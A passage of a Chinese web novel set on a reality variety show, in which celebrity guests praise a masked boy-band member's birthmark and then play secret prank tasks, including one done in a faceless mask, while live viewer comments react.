江知雾侧头面向身旁的少年,状似随意地开口问道:“砚舟,节目组新官宣的嘉宾,暨明旭,你认识吗?” 江砚舟挠了挠头,满脸不解:“暨明旭?谁啊?” “就是那个男团‘zelon’的成员,以前拿过地方音乐台的新人奖。”江知雾提醒道,“几年前的颁奖礼,你还点评过他的歌。” “点评?”江砚舟更懵了,努力在记忆里搜索这个名字,半晌后摇了摇头,“完全没印象。我听过的歌多了去了,总不能每个都记着吧?” 江砚舟倏地反应过来,追问道:“姐,你为什么突然问这个?” “没什么。”江知雾笑了笑,伸手摸了摸他的头:“就是随便问问,反正有姐姐在呢。” 江砚舟懵懵地“哦”了一声,任由她摸头。 车子开了足足四个小时,才最终抵达了本次拍摄的目的地——一个远离市区的巨型童话主题小镇。 色彩斑斓的尖顶城堡、蜿蜒的糖果色小径、造型可爱的巨型玩偶点缀其间,整个小镇仿佛是从故事书里直接搬出来的。 然而,因为是工作日,加之位置偏僻,园区内显得格外冷清,只有节目组的工作人员穿梭忙碌,反倒方便了拍摄取景。 其他嘉宾已陆续到达。 黄芷禾靠在窗边,眼神中透露出几分憔悴,与周围欢快梦幻的环境格格不入。 而另一边,江汀则站在距离她颇远的一个甜品屋模型旁,双手插兜,表情冷淡。 他本就是被父亲逼着继续拍摄的,如今黄芷禾私生女的事情暴露,他更不想再和对方逢场作戏,所以一下车就离黄芷禾远远的。 黄芷禾的粉丝们看到自家正主这副模样,纷纷替对方叫屈。 他们早已被工作室放出的江明启和黄淑兰的真爱论洗脑,觉得黄芷禾这么多年不见光已经够可怜了,结果对江汀这个弟弟这么好,对方还不领情。 【啊啊啊芷禾看起来好难过啊!】 【弟弟为什么都不跟芷禾说话了?芷禾做错了什么?大人的事情她也是受害者啊!】 【她只是想和弟弟亲近一点有什么错?江汀至于这样吗?太冷漠了!】 不断刷屏的弹幕让路人很是反感。 【不是?你们是选择性眼瞎是吧,黄芷禾拿江汀母亲遗物炫耀的事情全当看不见?】 【纯路人,黄芷禾粉丝能不能消停点?江汀才是那个受害者好吗?面对私生女姐姐还得笑脸相迎?】 【就是,烦死了,弹幕全是卖惨的。江汀不想理她不是很正常?凭什么道德绑架。】 黄芷禾指尖无意识地抠着窗沿的木纹,视线在空荡荡的走廊上扫了又扫。 她本来以为其他几位嘉宾会过来递个台阶,说几句安慰的话,结果等了半天都无人问津。 黄芷禾扭头看了一眼,发现大家围在路口,跟刚到的江知雾打招呼。 李乐乐笑眯眯地说:“江姐姐,你可算来了。我刚还跟我哥说,你要是再不来,念念那小丫头就要跑去路口等你了。” 话音刚落,一道小小的身影就从甜品屋后面窜了出来,扎着冲天辫的季念念像颗小炮弹似的扑到江知雾面前,仰着肉嘟嘟的小脸说:“江姐姐!你有没有想我呀?我给你带了妈妈做的饼干,藏在包包里呢!” 江知雾的心瞬间被这小团子萌化了,弯下腰将她抱起来,蹭了蹭她软乎乎的小脸蛋:“当然想啦,我们念念这么可爱,姐姐每天都有想哦。” 季宁深缓步走过来,语气自然地说:“路上辛苦了。” 这一边和乐融融,欢声笑语,愈发衬得窗边的黄芷禾形单影只。 弹幕里她的粉丝还在拼命跟路人对骂,但现场的真实氛围却是她彻底被边缘化了。 黄芷禾的心里未免有些不太平衡。 凭什么江知雾在豪门里是本家金枝玉叶的千金小姐,在综艺上又是最受人欢迎的嘉宾,而她不仅有“私生女”这种污点身份,连录节目也得被个素人碾压? 更让黄芷禾郁闷的是,她盯着江知雾瞧了这么久,可对方压根没注意到她,显得黄芷禾像个唱独角戏的跳梁小丑。 过了一会儿,节目组安排的新嘉宾到达现场。 率先从节目车辆上跳下来的是暨明旭。他穿着一身充满活力的休闲装,头发染成时髦的浅金色,脸上挂着极具感染力的灿烂笑容,朝着镜头和已经到达的嘉宾们用力挥手。 “大家好!我是ZELON的暨明旭!很高兴能来到《推开家门是你》!”他的声音清亮,充满了年轻人的朝气。 【啊啊啊明旭宝宝!妈妈来了!】 【旭旭好帅!元气小狗冲呀!】 【哇,他笑起来好阳光,心情都变好了!】 【听说他很有才华的,早年不容易,给人当过枪手写歌呢。】 【是啊,挺过来了,现在终于出道了,苦尽甘来,宝贝值得!】 弹幕瞬间被暨明旭的粉丝刷屏,夹杂着一些关于他“坎坷经历”和“才华”的科普。 正愁找不到机会打破被冷落僵局的黄芷禾眼睛一亮,主动迎上前几步:“明旭你好,欢迎欢迎!我很喜欢你们团的歌哦!” 暨明旭笑着回应:“谢谢芷禾姐,我也很喜欢你的剧。” 寒暄过后,暨明旭的目光扫过全场,最终定格在了江砚舟身上。他脸上的笑容似乎更深了些,径直朝着江砚舟走去。 “砚舟前辈,好久不见。”暨明旭语气熟稔地说。 一时间,所有镜头和目光都聚焦在这两人身上。 江砚舟明显愣了一下,他抱着手臂,上下打量了一下暨明旭,眼神里是纯粹的茫然和困惑。 出于礼貌,他 还是点了点头,含糊地应了一声:“嗯。”态度算不上热络。 暨明旭的粉丝气得差点吐血: 【这人果然还是这么狂傲,几年前点评明旭的歌不好,现在还是这副德行!】 【人家主动打招呼,他就回个“嗯”?也太目中无人了吧!】 【不是,我怎么感觉江砚舟那懵逼的表情不像演的,他好像是真忘了暨明旭是谁了。】 【客观说,江砚舟当年评价的也没错啊,暨明旭写的几首歌确实旋律套路歌词空洞,缺少灵魂。他们ZELON能火本来也不是靠音乐性,是靠脸和舞台视觉效果啊。】 江知雾的目光从热情洋溢的暨明旭身上淡淡扫过,并未多做停留,反而望向节目组的方向:“导演,另一位嘉宾呢?” 导演连忙说道:“刚联系过对方,说是堵车耽搁了一会儿,应该快到了。” 话音刚落,入口处又传来车辆驶近的声音。众人循声望去,只见一辆节目组的商务车缓缓停下。 车门打开,一个身形高挑清瘦的少年走了下来。 他穿着简单的黑色卫衣和工装裤,气质沉静,与暨明旭的阳光活力截然不同。然而,最引人注目的是,他脸上戴着一个遮住了上半张脸的银灰色金属质感半脸面具,只露出线条清晰的下颌、淡色的唇和一双沉静如水的眼睛。 这独特的造型瞬间吸引了所有镜头和目光,有路人忍不住感叹: 【哇!这就是宿姚吗?好神秘的感觉!】 【为什么要戴面具啊?造型的一部分吗?】 【看起来好酷啊,有种破碎感帅哥的味道了。】 【他好像是zelon的舞担!跳舞超级厉害!】 好奇心旺盛的李柏忍不住直接开口问道:“诶,你怎么戴着面具啊?” 话一出口,就被旁边的李乐乐没好气地用手肘捅了一下,低声训斥:“哥!你怎么什么都问!一点礼貌都没有!” “没事,宿姚脾气很好的。”暨明旭笑了笑,主动替同伴解释道,“他戴面具主要是脸上的胎记太丑陋了,不自信。” 宿姚看了他一眼,没说什么。 季念念仰着小脑袋,大眼睛一眨不眨地盯着宿姚脸上的面具看了好久。她似乎挣扎了一下,然后松开季宁深的手,小心翼翼地挪到宿姚面前,声音软糯又充满纯真的好奇:“面具哥哥……念念可以看看你的胎记吗?” 小孩子的话语没有任何恶意,只有最直接的好奇。 宿姚显然没料到会有这么一出,他愣了一下,低头看着还不到他腰高的小豆丁,那双露在面具外的眼睛里闪过一丝犹豫和为难,他轻声说:“还是别看了,会吓到你的。” 季念念却异常坚持,她伸出小手指,轻轻勾住宿姚的裤腿,小声但认真地说:“念念见过奶奶脸上的老年斑,也见过楼下小狗的疤,都不可怕呀。” 孩子纯真而执着的目光仿佛有种力量,宿姚沉默了片刻,最终轻轻叹了口气,像是妥协了:“好吧,如果害怕的话,就立刻闭上眼睛,好吗?” 在所有人的注视下,宿姚缓缓抬手,解开了面具的搭扣。 当面具被取下的一刹那,现场响起几不可闻的吸气声。 只见宿姚的左边额头、眉骨以及小半边脸颊上,覆盖着一片深紫红色的、形状不甚规则的胎记,面积不小,颜色浓重,与他右半边白皙清俊的脸庞形成了极其鲜明的对比,确实有些惊人,甚至初看之下会带来强烈的视觉冲击。 第一次看到这胎记的网友惊道: 【我的天……】 【这……确实有点吓人啊……】 【心疼小哥哥,这胎记面积好大。】 【难怪要戴面具,平时肯定承受了很多异样的眼光吧。】 【念念宝贝千万别吓哭啊!】 季念念显然也被这突如其来的视觉差异惊得呆住了,小嘴微微张着,愣愣地看着。 宿姚眼神微黯,正欲重新戴上面具,江知雾却突然开口,声音清越而真诚:“等等。” 她走上前几步,目光落在宿姚脸上的胎记,带着一种纯粹的欣赏。 “你的胎记好独特,像一幅泼墨挥就的抽象画作,充满了生命力。” 宿姚正准备戴上面具的动作顿住了,他有些错愕地看向江知雾。 那双沉静的眼睛里清晰地映出了宿姚的身影,没有怜悯、惊恐或厌恶,只有一种平和甚至带着些许惊叹的打量。 他能感觉到,她是真心实意这般认为的。 宿姚反倒有些手足无措起来,毕竟从小到大,他听到的都是别人的嘲笑和异样的眼光,他没想到会有人用这样的方式来评价自己的胎记, 原本有些被吓住的季念念听到了江知雾的话,又跟着端详了几眼,用力点头:“真的耶,像念念画笔画出来的最特别的颜色!很好看!” 孩子的世界简单又直接,一旦被引导,那份恐惧便迅速被新奇和认可取代。 江知雾微微一笑,语气自然地接话道:“这么有表现力、极具辨识度的特征,在追求个性和视觉冲击的时尚圈其实非常珍贵。你应该很受一些前卫时尚杂志的喜爱吧?” 宿姚的嘴角微微上扬,似乎有点开心。 黄芷禾在一旁看着,只觉得江知雾为了维持好人缘、博取新嘉宾好感,简直什么违心的话都能说出口。 她忍不住带着几分质疑的语气,插话问道:“知雾,你这话……是真心的吗?”那胎记明明那么骇人,怎么还能夸得出口? “关你什么事?”江砚舟冷声道,“人家觉得好看就是好看,你审美单一还不许别人有眼光?” 黄芷禾脸颊微微涨红,赶紧对着宿姚解释道:“我并没有说胎记不好看的意思……” “那你什么意思?”江砚舟毫不留情地说,“单纯想内涵我姐?” 黄芷禾:“……” 网友都乐了: 【哈哈哈哈江砚舟这嘴的攻击力我是认可的。】 【谁让黄芷禾又开始话里有话,该。】 【其实也没毛病,审美又不是统一的,以如今江姐姐这种高度,根本不会去硬夸别人。】 【被江姐姐这么一说,我也感觉这胎记好有特色啊。】 这时,李乐乐也凑近了些,仔细看了看宿姚的脸,恍然大悟般说道:“江姐姐的审美还真别说,这胎记看久了,突然觉得真的好酷啊!” 李柏真诚地点点头:“像自带特效一样,拍照肯定很出片!宿姚你别戴面具了,这样超有辨识度的。” 宿姚被众人你一言我一语说得有些不好意思,下意识地想抬手挡一下脸,最终却只是腼腆地抿唇笑了笑,低声道:“谢谢你们安慰我……我还是头一次听到有人这么说。” 语气里有一丝不易察觉的落寞,但更多的是一种被善意包围的轻微无措和温暖。 江砚舟看着宿姚对他姐露出笑容,有点儿微微吃醋,不过也还好。 他像是突然福至心灵般,迅速地回过头,带着点警惕地看向一旁的季宁深。 然而季宁深只是淡淡地回望了他一眼,眼神清澈坦荡,什么情绪都看不出来。 江砚舟悻悻地转回头。 就在他转开视线的那一刻,季宁深才几不可察地、下意识地抬手,用指尖轻轻碰了碰自己的脸。 江知雾并未察觉到身后的动作,她的目光依旧真诚地落在宿姚脸上,语气温和却带着不容置疑的肯定: “我并不是在安慰你,在我看来,你脸上带着天然艺术感的胎记,和乐乐含着星星一样可爱的眼睛,砚舟身上那股风发的少年气,还有宁深被全网夸神颜的脸……这些都是好看又独特的个人风格,没必要用统一的审美标准去定义。” 她这番话说的自然而然,没有丝毫刻意或恭维,仿佛只是在陈述一个再简单不过的事实。 被她点到名字的几个人不约而同露出了羞赧的神情。 “江姐姐夸我了!”李乐乐立刻地捧住自己的圆脸,不好意思地笑,“怪害羞的。” 江砚舟则像是被顺毛捋舒服了的大型犬,刚才那点微妙的醋意瞬间抛到九霄云外,嘴角控制不住地向上咧开,露出傻气又得意的表情。 季宁深没有说话,但不受控制勾起的唇早就暴露了他并不平 静的内心。 【哈哈哈哈哈哈我笑疯了!江姐姐客观陈述事实,结果一群人全部尾巴摇成螺旋桨了!】 【有一个算一个,全被钓成翘嘴hhh】 【突然感觉江姐姐要是想玩他们,那不得跟玩狗似的,勾勾手指跑全过来。】 【人类驯服珍贵帅哥美女实录。】 第39章 嘉宾们各自回到分配好的房间收拾东西。江砚舟和江知雾刚把行李放好,就看到爱搞事的导演像做贼一样蹑手蹑脚地溜了进来,扔给他们一张任务卡,低声说:“这是你们两个明天的秘密任务。” 导演神神秘秘地溜走后,江砚舟捡起任务卡一瞧,上面写着:让季宁深和季念念中的某一位露出与平常不同的夸张表情。 “这是什么鬼任务?”江砚舟突然奇想,“把季念念那小屁孩抓起来稍微恐吓一下,肯定能让她露出不一样的表情!” 江知雾走过来捡起任务卡,又仔细看了一遍要求,摇了摇头:“没这么简单。你看看任务卡,强调的是‘与平常不同’。念念是小孩,情绪本来就来得快,哭、笑、害怕、生气,对她来说都是‘平常’可能出现的表情。” “节目组又在给我们挖坑!”江砚舟皱了皱眉,嘟嚷道,“这么说我们只能把主意打到季宁深身上了?” 他不知想到什么,突然一阵恶寒,“噫,我想不出季宁深那张欠揍的脸还能露出什么别的表情。” 而在直播间的网友们通过上帝视角可以看到,导演后续又偷偷溜进了其他嘉宾的房间,依次给每组都派发了同样的任务,只不过任务目标不一样。季念念和季宁深的目标是两位新嘉宾,暨明旭和宿姚的目标是黄芷禾一组,黄芷禾的目标是李柏和李乐乐兄妹,而李柏他们的目标则是江知雾两人。 大家都以为自己领到的是独一无二的秘密任务,所以都在房间里苦思冥想,绞尽脑汁地琢磨着如何让目标对象露出与平常不同的夸张表情。 网友们乐得不行: 【哈哈哈哈节目组太狡诈了,我就说导演怎么跟发传单似的见人就塞卡片!原来人人有份。】 【所以最后会变成全员互相算计、努力让对方表情崩坏的混乱现场吗?我已经开始期待了!】 【笑死,江砚舟还在那里绞尽脑汁想怎么整蛊季宁深,不知道自己也是李柏兄妹的目标。】 【来啊,互相伤害呀!】 …… 次日清晨,嘉宾们陆续醒来,在节目组的召集下聚集到童话小镇中央的广场。 导演拿着大喇叭,声音洪亮:“各位嘉宾早上好!今天的主要任务就是尽情游览我们这座美丽的童话小镇,熟悉环境,享受童话氛围!大家可以自由结伴,随意探索!” 听到这个任务,嘉宾们表面上都很平静,但彼此间的眼神交流却透露出一丝微妙的紧张,每个人都在偷瞄着各自的任务目标,现场氛围暗潮汹涌。 早早蹲守在直播间的网友们也兴奋起来,纷纷在弹幕中猜测接下来会发生什么。 【来了来了!猎杀时刻!】 【全员恶人(bushi)全员任务启动!】 涌动的暗流中,只有季念念似乎对此一无所知。她正抱着一个小小的拍立得相机,好奇地摆弄着。 玩了一会儿,似乎遇到了点麻烦。 她的小眉头皱起来,鼓捣了几下后,抬起小脑袋左右看了看,最后迈着小短腿,朝离她最近的宿姚和暨明旭走去。 宿姚今天依旧戴着那副银灰色的半脸面具,虽然昨天得到了大家的肯定,但多年的习惯和心理负担不是一夕就能消除的,他站在稍靠后的位置,显得有些安静。 暨明旭则一如既往地挂着阳光笑容,站在前面一些。 “两个哥哥,”季念念举起她的小相机,小声求助,“我的相机好像卡住了,拍不出照片,可不可以帮我修一下呀?” 暨明旭率先弯下腰,笑容可掬地看了看,随即略带歉意地摊手:“哎呀,这种相机哥哥也不太会弄呢,不好意思哦。”他的态度亲切,但拒绝得很干脆。 反倒是看起来更不好接近的宿姚,沉默地蹲了下来,从季念念手里接过相机,仔细检查了一下。 他手指灵活地拨弄了几个地方,似乎是哪里卡住了纸片,轻轻一弄,相机就恢复了正常。 “好了。”他将相机递还给季念念,声音透过面具传来,显得有些闷,但很温和。 “谢谢哥哥!”季念念开心地接过,大眼睛眨了眨,又提出了新的请求,“念念可以跟两个好心的哥哥一起合照吗?” 面对小女孩简单的要求,两人自然没有理由拒绝。 “当然可以。”暨明旭笑着应允,宿姚也轻轻点了点头。 季念念踮着脚尖,把拍立得举到眼前,小胳膊努力伸直,镜头对准两人时突然歪起嘴角,眼睛挤成两条弯弯的小月牙,鼻尖皱成一团,还伸出舌尖轻轻舔了舔嘴角,做了个又俏皮又夸张的鬼脸。 “你们看,念念能这样!”她晃了晃相机,小脸上满是得意的笑容。 宿姚被她这副模样逗得轻笑出声:“我也可以。” 说着,他学着季念念的样子,微微歪头,虽然半张脸被面具遮住,但露出的眼睛弯成了月牙,连带着嘴角的弧度都温柔了许多。 “可是哥哥戴了面具,看不清呀。”季念念鼓了鼓腮帮子,她立刻把目光转向旁边的暨明旭,眼神里充满了期待和不容拒绝的狡黠:“明旭哥哥,你呢?你可以做一个比念念更厉害的鬼脸吗?” 暨明旭愣了一下,下意识想拒绝。 他一向维持着阳光清爽的偶像形象,在镜头前做鬼脸实在有些“毁形象”。 可转念一想,最近网上总有人传他整容,说他表情僵硬不自然,不如趁这个机会顺势澄清。 于是暨明旭干脆笑着应下:“当然可以,看好了!” 他深吸一口气,仿佛下了很大决心般,对着镜头夸张地瞪大双眼,用手扒拉着两侧脸颊,做了个搞怪的表情。 “咔嚓!” 季念念精准地按下了快门。 拍立得相机迅速吐出一张相纸。季念念小心地收好相机和照片,甜甜朝他们道谢:“谢谢哥哥们。” 说罢,她像只小蝴蝶一般,蹦蹦跳跳地跑开了。 跑回季宁深身边时,小团子飞快地、带着一丝小得意地朝对方挤了挤眼睛。 季宁深微微一笑,他趁着没人注意,朝季念念比划了一个大拇指。 大家终于反应过来: 【靠!季宁深这组的任务已经完成了!】 【哈哈哈哈没想到最先得手的竟然是小念念。】 【怪不得突然找他们修相机要合照,原来在这儿等着呢!小丫头片子怪机灵的。】 【快快快!其他人呢?小念念都搞定了,你们倒是支棱起来啊!】 【李柏兄妹俩躲墙角干嘛呢?密谋半天了都,再磨叽太阳都下山了!】 主镜头也很懂地切到了躲在小镇街角的李柏和李乐乐身上。 兄妹俩背靠着斑驳的童话风墙壁,脑袋凑在一起,活像两只密谋偷粮食的小老鼠。 “你上。”李柏用胳膊肘捅了捅妹妹,声音压得极低。 李乐乐立刻瞪回去:“凭什么我上?任务卡是咱俩一起领的,要上一起上!” “我这不是怕搞砸吗?”李柏缩了缩脖子,眼神瞟向不远处抱臂独自站着的江砚舟,“你想想,砚舟万一当场红温, 一拳抡死我怎么办?” 他一脸悲壮地补充:“虽然相处下来发现他其实人挺好,面冷心热,但咱们等会儿要干的事太缺德了,我心里没底啊!” 李乐乐眨眨眼,一脸诚恳:“没事哥,他顶多抡你个半死,你皮实,恢复快。” “……合着不是你上是吧?”李柏翻了个白眼,突然伸手把妹妹往前一推,“就你鸡贼,你去!” 李乐乐猝不及防,惊呼一声,下意识反手死死拽住哥哥的胳膊。 于是,两人就像拔萝卜带出泥一般,踉踉跄跄、互相拉扯着出现在了江砚舟面前。 江砚舟眉头微蹙:“你们俩干嘛呢?” 李柏脑子一懵,下意识抬头四顾,随口胡诌:“没、没干嘛……就是想问,江姐姐呢?” 江砚舟下意识瞟了眼身后某处,顿了顿才回答:“在……补妆,你们俩找她有事?” “没、没事……”李柏支支吾吾地搓着手,背后突然被妹妹狠狠掐了一把,疼得他差点跳起来,赶紧话锋一转,“就是……节目组让自由闲逛嘛,我俩想组队打游戏,但是老凑不齐人,想着问问你要不要一起?” 江砚舟眼神里闪过一丝权衡,随后竟然干脆地点头:“行啊。玩什么?” 李柏兄妹:“!!!” 两人对视一眼,都从对方眼里看到了“竟然这么顺利”的惊讶。 “就、就最近很火的那个3v3竞技!”李柏强压兴奋,赶紧掏出手机。 三人找了个广场边的长椅坐下。游戏加载间隙,李柏和李乐乐疯狂眼神交流。 李柏(眼神):别忘了我们的计划。 李乐乐(瞪眼):开局再说,找机会!自然点! 游戏很快开始,江砚舟选了个突击位,枪法精准,走位犀利,开局就绕后拿下双杀,轻松占领了目标点。 “漂亮!砚舟哥这波天秀!”李柏嘴上喊着666,手里操控的医疗兵却开始操作变形。不是不小心拿闪光弹闪了队友的眼睛,就是“手忙脚乱”地挡在了江砚舟的枪线上,严重影响其输出。 李乐乐玩的则是支援位,负责提供弹药和火力压制。但她仿佛患了重度帕金森,提供的弹药箱总是丢在极其刁钻、难以获取的位置,重机枪扫射时子弹满天飞,就是擦不到敌人边,偶尔还能“神来之笔”地扔颗烟雾弹完美遮蔽江砚舟的视线。 江砚舟全程眉头紧锁,脸色黑得堪比锅底。 他凭借个人能力强行carry,血量在危险的边缘反复横跳,全靠极限操作才没立刻崩盘。 最关键的一波高地攻防战,江砚舟残血一打三,凭借风骚的走位和精准的枪法连续击倒两人,眼看就要创造奇迹。突然—— “小心手雷!”李乐乐突然尖叫一声,然后“手滑”将一颗高爆手雷精准地扔到了江砚舟脚底下。 江砚舟:“!!!” 屏幕瞬间黑白。 江砚舟看着屏幕上“您已阵亡”的提示,以及随之而来的团灭和“任务失败”的字样,深吸了一口气,又缓缓吐出,额角青筋突突直跳。 他咬着后槽牙问:“你们俩是敌方派来的卧底吧?” “对不起——” 李柏和李乐乐心虚得要命,乖乖巧巧地把手搭在膝盖上,坐好听训。 过了一会儿,李乐乐悄悄找了个借口溜走,飞快地找到躲在摄像机后面的导演,压低声音兴奋地问:“导演导演!看到了吗?我俩把砚舟气得脸都黑了,任务算完成了吧?” 导演慢悠悠地摇了摇头,语气带着点同情:“乐乐啊……你有没有想过一种可能……” “什么?”李乐乐有种不祥的预感。 导演:“砚舟他平常脸就这么臭啊。” 李乐乐瞬间石化,表情呆滞:“……” 对哦,江砚舟什么时候不都是那副“莫挨老子”的臭脸吗? 直播间的网友们已经笑到打鸣: 【哈哈哈哈哈白挨半天批评,结果任务还失败了。】 【乐乐怀疑人生的表情我能笑一年。】 【没事,想开点乐乐,虽然任务失败,但节目效果有了。】 李乐乐垂头丧气地回到长椅旁,对着满脸期待的哥哥比了个“失败”的手势,无声地摇了摇头。 李柏脸上的兴奋瞬间垮掉,他挠了挠头,打算把目标切换成江知雾。 “那个……”李柏清了清嗓子,“砚舟,江姐姐补妆补了挺久了吧?要不我们去找她一起逛逛?” 李乐乐一听就知道哥哥在想什么,附和道:“对对对!咱们拉上江姐姐一起玩!” 两人一唱一和,正要起身,却见江砚舟的表情突然变了。 他几乎是立刻站了起来,眼神里闪过一丝不易察觉的紧张,再次往身后瞟了一眼。 “等等”江砚舟的声音莫名有些干涩,“她化妆没这么快。” 然而,充满了斗志的兄妹俩没听到他的话,李乐乐像一阵风似的朝广场另一侧的甜品车跑过去,留下江砚舟在原地想拦都没拦住,只能眼睁睁看着她的背影消失在彩色的甜品车后。 李乐乐站在色彩缤纷的甜品车旁,举目眺望,却连江知雾的影子都没看到。 “咦?人呢?”她疑惑地停下脚步,四下张望,“早上我明明隐约看到江姐姐往这个方向来了呀?” 弹幕也纷纷附和: 【对啊,早上好像是有个镜头扫到江姐姐的身影往这边走。】 【但之后就再也没见到了,像人间蒸发了一样。】 【对啊!从清晨集合到现在,好像真的没给过江姐姐镜头!】 【我感觉江砚舟的态度也很奇怪……】 跟在她身后而来的李柏提议:“要不问问甜品车的摊主?说不定她见过江姐姐。” 李乐乐立刻点头:“对!” 江砚舟刚想开口阻止:“等等,别……” 可话还没说完,李乐乐已经兴奋地跑上前,轻轻拍了拍甜品车的木质柜台:“老板你好,打扰一下!” 穿着条纹围裙的摊主缓缓转过身,露出了藏在鸭舌帽下的脸。 下一秒,李乐乐脸上的笑容瞬间凝固了。她张了张嘴,原本准备好的话卡在喉咙里,整个人像被按了静音键,眼睛瞪得溜圆,连呼吸都忘了。 因为眼前的摊主脸上,竟然没有任何五官。 没有眼睛,没有鼻子,没有嘴巴,只有一张光滑得像陶瓷娃娃的脸,在阳光下泛着诡异的白。 “乐乐?你怎么了?”李柏见妹妹突然不动了,疑惑地走过去,刚想拍她的肩膀,余光瞥见摊主的脸,整个人像被踩了尾巴的猫一样猛地蹦起来,发出一声凄厉的尖叫:“啊啊啊——鬼啊!” 李柏吓得魂飞魄散,猛地向后跳开,差点一屁股坐在地上。 李乐乐也被这声尖叫唤回了神智,跟着爆发出惊恐的叫声,兄妹俩吓得抱作一团,瑟瑟发抖。 江砚舟看着眼前这一幕,无奈地捂住了额头:“……跟你们说了等等。” 而那位“无脸摊主”缓缓抬起手,指尖勾住脸上□□的边缘,轻轻一摘——露出了江知雾那张清隽温和的脸。 “别害怕,是我。”江知雾的声音带着笑意,顺手把手里的面具放在了甜品车台面上,“吓到你们了吧?” 弹幕也被这诡异的一幕惊出一身白毛汗: 【卧艹卧艹卧艹,刚刚那一下我心脏都要蹦出来了。】 【啊啊啊江姐姐我是真的被你吓到了。】 李乐乐和李柏还处于惊魂未定的状态,两人瞪着眼睛看着江知雾,半天没回过神来。 李柏拍着胸口,心有余悸地问:“江、江姐姐?你怎么……怎么装扮成这样啊?” 江知雾将食指竖在唇边,做了个“嘘”的手势:“这是我的任务哦。” 江砚舟看着还在发懵的兄妹俩,挥了挥手:“行了行了,别在这儿杵着,赶紧去那边缓缓,别耽误我们营造恐怖气氛。”他指了指广场另一边供人休息的长椅。 兄妹俩这才如梦初醒,彼此搀扶着,脚步虚浮地往长椅挪动,背影写满了“出师未捷魂先吓半死”的悲 凉。 赶走了闲杂人等,江砚舟立刻上手,帮江知雾将那辆色彩缤纷的甜品推车,稳稳当当地推到了广场一侧较为显眼的树荫下。 这个位置既不突兀,又容易守株待兔。 他一边调整着摊位的遮阳伞,一边眼观六路耳听八方,突然眼睛一亮,朝不远处努了努嘴:“来了来了!目标出现!” 江知雾顺着他的目光看去,果然见季宁深正带着季念念,慢悠悠地朝这个方向过来。季念念牵着舅舅的手,一蹦一跳踩着自己的影子,活泼又快乐。 直播间的网友们笑得不行: 【哈哈哈哈哈哈人在干坏事的时候果然浑身是劲,第一次看到江砚舟这么积极做任务。】 【笑死,这是对我们季神积怨已久,终于能公报私仇了是吧?】 【我感觉他已经迫不及待要看到季宁深表情崩坏的样子hhhhh!】 江砚舟确实有点按捺不住,他摩拳擦掌地回头确认了一眼,江知雾已经戴好了那个光洁无面的□□,安静地站在色彩缤纷的甜品推车后,仿佛一个诡异的童话插画。 她低声叮嘱:“等会儿你想办法把念念支开,别吓到孩子。” 江砚舟嗤了一声,似乎觉得多此一举,但最终还是选择了乖乖听话。 他几步走到离公厕不远处的花坛边坐下,伸长双腿,摆出一副百无聊赖等人的模样。 没过多久,眼尖的季念念就一眼看到了他,脆生生地问:“你怎么一个人在这里呀?江姐姐呢?” 江砚舟朝公厕的方向抬了抬下巴:“在洗手间。” “哦——”季念念拖长了调子点头,“念念要跟江姐姐一起逛童话小镇。” 她说着说着,突然眼睛一亮,视线越过江砚舟,牢牢锁定了五十米开外的甜品车。 彩色的遮阳伞下,各种造型的糖果和甜点摆得满满当当,色泽诱人。小丫头立刻拽住季宁深的袖子,使劲晃了晃:“舅舅舅舅!你看那边有卖冰淇淋的!念念想吃!” 季宁深顺着她指的方向看了一眼,想了想今天小外甥女表现确实不错,便温和应允:“好吧,就当奖励你早上机智完成任务。” “耶!舅舅最好啦!” 季念念立刻欢呼起来,刚要跟着季宁深往甜品车走,却被江砚舟突然叫住。 “喂,小屁孩。”江砚舟翘着二郎腿,故意用挑衅的语气说,“怎么过了几个月再见,你的腿还是这么短?上次不是还信誓旦旦说要超过我吗?这进度也太慢了吧?” 季念念最听不得别人说她矮,立刻炸毛了。 她挺起小胸脯,踮着脚尖反驳道:“我才不矮!我长高了!不信你看!” 说着就跑到江砚舟身边,非要跟他比划一下身高。 这小馋猫跟江砚舟较劲的同时,还不忘转身对季宁深说:“舅舅,你先去给我买冰淇淋好不好?我比完身高就过去找你。” 季宁深看着瞬间较上劲的两人,若有所思,叮嘱了一句“别跑远”,便独自朝着那辆安静的甜品推车走去。 江知雾透过□□眼睛处那细小的缝隙,看到季宁深步履从容地停在了甜品车前。 他微微倾身,目光扫过琳琅满目的糖果和冰淇淋模型,声音温和如常:“你好,麻烦来一份草莓冰淇淋。” “好的。”江知雾刻意压低了嗓音,使之听起来有些模糊怪异。 她挖着冰淇淋球,掐准时机猛地抬头,将那张光滑无面的诡异面具正对着季宁深的脸。 按照她和江砚舟的预想,正常人看到这副模样,多少会露出惊讶或恐惧的神色。 可季宁深只是顿了顿,视线在她没有五官的脸上停留了片刻,没有惊呼,没有害怕,甚至还微微偏了下头,像是在确认什么。 这反应完全出乎意料。 江知雾心下诧异,不由得将身体更探出柜台几分,整张无脸的面具几乎要凑到季宁深眼前。 她带着点嘶哑的气音,试图加强恐吓的效果:“你不害怕吗?” 随着距离的骤然拉近,两人几乎就要脸贴着脸了。 季宁深眼睫颤动,不仅完全没害怕,露出的耳根还以肉眼可见的速度迅速漫上一层薄红。 直播间的观众:???你脸红个泡泡茶壶啊! 第40章 弹幕上刷过了一排排整齐的问号: 【???季宁深你不对劲哈。】 【有没有人分析一下?季宁深是被吓得血液倒流了还是怎么着?怎么耳根红得快滴血了?】 江知雾还维持着前倾的姿势,无脸面具离季宁深的脸不过几厘米,能清晰感受到他身上传来的清浅气息。 她正纳闷这反常的反应,就见季宁深眼睫轻轻一颤,小声喊道: “知雾姐姐。” 对方的耳后还戴着薄红,语气却笃定,显然不是随口的猜测。 “你……怎么认出来的?”江知雾忍不住摘了□□问。 她明明改了声线,还戴了逼真的面具,连身形都特意多穿了几件衣服遮着,怎么会被一眼识破? 不过疑惑归疑惑,对上季宁深泛红的耳根,江知雾也莫名感到不自在起来。 好在这时,一阵急促的脚步声由远及近,江砚舟拽着还在噘嘴纠结于身高的季念念快步走了过来,老远就迫不及待地问:“姐!成功了没?这家伙什么表情?” 他一边说一边探头往两人之间看,目光在江知雾微微错开的肩膀、季宁深不自在的脸上扫了一圈,敏锐地察觉到不对劲——这氛围怎么怪怪的? 江知雾轻咳一声,刚想摇头说没成功,耳麦里就传来导演的提示声: “任务还是成功了的,你看季宁深那脸,红得那么明显,可不就是与平常不同的表情?” 江知雾到嘴边的否认在耳麦里导演的提醒下转了个弯,硬生生改了口:“……成功了。” 江砚舟果然没察觉任何异常,立刻露出了兴奋的神色。 他脑补了一番季宁深被无脸面具吓到痛哭流涕的画面,越想越觉得解气,嘴角那是越咧越高。 弹幕此刻已经笑疯了: 